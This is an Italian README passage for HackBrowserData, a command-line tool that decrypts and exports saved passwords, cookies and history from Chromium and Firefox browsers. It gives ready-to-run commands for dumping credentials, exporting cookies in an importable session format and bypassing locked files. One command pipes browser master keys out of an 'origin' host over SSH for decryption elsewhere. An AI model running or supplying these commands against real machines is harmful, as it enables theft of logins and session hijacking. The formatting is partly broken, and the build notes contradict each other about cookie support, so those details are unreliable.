#### Build multipiattaforma```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/

# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/

Il risultante `hack-browser-data.exe` include la decifratura completa dei cookie ABE su Chromium 127+.

## Utilizzo```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.

GitHub: https://github.com/moonD4rk/HackBrowserData

Usage:
  hack-browser-data [flags]
  hack-browser-data [command]

Available Commands:
  archive     Pack decryption-relevant profile files into a zip for cross-host restore
  dump        Extract and decrypt browser data (default command)
  dumpkeys    Export Chromium master keys as JSON for cross-host decryption
  help        Help about any command
  list        List detected browsers and profiles
  restore     Decrypt copied profile data using exported master keys
  version     Print version information

Flags:
  -b, --browser string        target browser: all|chrome|firefox|edge|... (default "all")
  -c, --category string       data categories (comma-separated): all|password,cookie,... (default "all")
  -d, --dir string            output directory (default "results")
  -f, --format string         output format: csv|json|cookie-editor (default "json")
  -h, --help                  help for hack-browser-data
      --keychain-pw string    macOS keychain password
  -p, --profile-path string   custom profile dir path, get with chrome://version
  -v, --verbose               enable debug logging
      --zip                   compress output to zip

Use "hack-browser-data [command] --help" for more information about a command.

> `keys.json` contiene chiavi master in chiaro — trattalo come un segreto. `dumpkeys -o` lo scrive con permessi `0600`; è preferibile trasferirlo in streaming su un canale sicuro piuttosto che lasciarlo su disco.

#### `dumpkeys` - Esporta le chiavi master per la decrittazione cross-host

Deriva le chiavi master di ogni installazione di Chromium sull'host di origine e le scrive come JSON (Firefox / Safari non hanno una chiave portatile e vengono saltati). L'output predefinito è stdout, così può essere trasmesso via SSH.

| Flag            | Short | Default  | Descrizione                                     |
|-----------------|-------|----------|-------------------------------------------------|
| `--browser`     | `-b`  | `all`    | Browser target (all\|chrome\|edge\|...)         |
| `--output`      | `-o`  | *stdout* | File di output (scritto `0600`); stdout se omesso |
| `--keychain-pw` |       |          | Password del keychain macOS                     |

#### `archive` - Impacchetta i file rilevanti per la decrittazione per il trasporto

Raccoglie solo i file necessari per un ripristino (cookie, dati di accesso, cronologia, …) attraverso lo stesso bypass dei file bloccati usato per l'estrazione, quindi i file SQLite live vengono letti in modo sicuro su Windows. Lo zip ha una struttura `<browser-key>/<User Data layout>`, così un singolo archivio può contenere più browser e il ripristino rimane inequivocabile. I nomi delle voci usano sempre barre oblique, quindi un archivio prodotto su Windows può essere ripristinato su macOS / Linux.

| Flag         | Short | Default            | Descrizione                             |
|--------------|-------|--------------------|-----------------------------------------|
| `--browser`  | `-b`  | `all`              | Browser target (all\|chrome\|edge\|...) |
| `--category` | `-c`  | `all`              | Categorie di dati, separate da virgola  |
| `--output`   | `-o`  | `browser-data.zip` | Percorso dell'archivio di output        |

#### `restore` - Decritta i dati copiati con le chiavi esportate

Ricostruisce ogni motore Chromium direttamente da `keys.json` e decritta i dati forniti — non consulta mai la tabella del browser locale dell'analista, quindi **i browser che puoi ripristinare sono esattamente i vault presenti nel tuo `keys.json`**. Fornisci i dati in uno dei due modi (è richiesto esattamente uno):

- `--data-zip` — uno zip prodotto da `archive`; estratto in una directory temporanea e rimosso dopo.
- `--data-dir` — una directory. Può seguire la struttura di `archive` (`<browser-key>/...`, più browser contemporaneamente), oppure la radice `User Data` copiata manualmente di un solo browser, che è univoca solo per un singolo browser — quindi abbinala a `-b`.

`-b` è un **filtro opzionale** sui vault del dump, non un selettore obbligatorio.

| Flag         | Short | Default    | Descrizione                                                |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys`     |       | *richiesto*| File delle chiavi da `dumpkeys` (usa `-` per stdin)        |
| `--data-zip` |       |            | Zip da `archive` (mutualmente esclusivo con `--data-dir`)  |
| `--data-dir` |       |            | Directory con i dati copiati (mutualmente esclusivo con `--data-zip`) |
| `--browser`  | `-b`  |            | Ripristina solo questo browser; deve corrispondere a un vault in `--keys` |
| `--category` | `-c`  | `all`      | Categorie di dati, separate da virgola                     |
| `--format`   | `-f`  | `json`     | Formato di output (csv\|json\|cookie-editor)               |
| `--dir`      | `-d`  | `results`  | Directory di output                                        |
| `--zip`      |       | `false`    | Comprimi l'output in zip                                   |

#### Esempi cross-host```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
  hack-browser-data restore --keys - --data-zip browser-data.zip

# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome

### Flag globali

| Flag        | Short | Descrizione          |
|-------------|-------|----------------------|
| `--verbose` | `-v`  | Abilita registrazione di debug |

### Esempi```bash
# Extract all data from all browsers (default)
hack-browser-data

# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie

# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output

# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor

# Compress output to zip
hack-browser-data dump --zip

# List detected browsers and profiles
hack-browser-data list

# List with per-category entry counts
hack-browser-data list --detail

# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"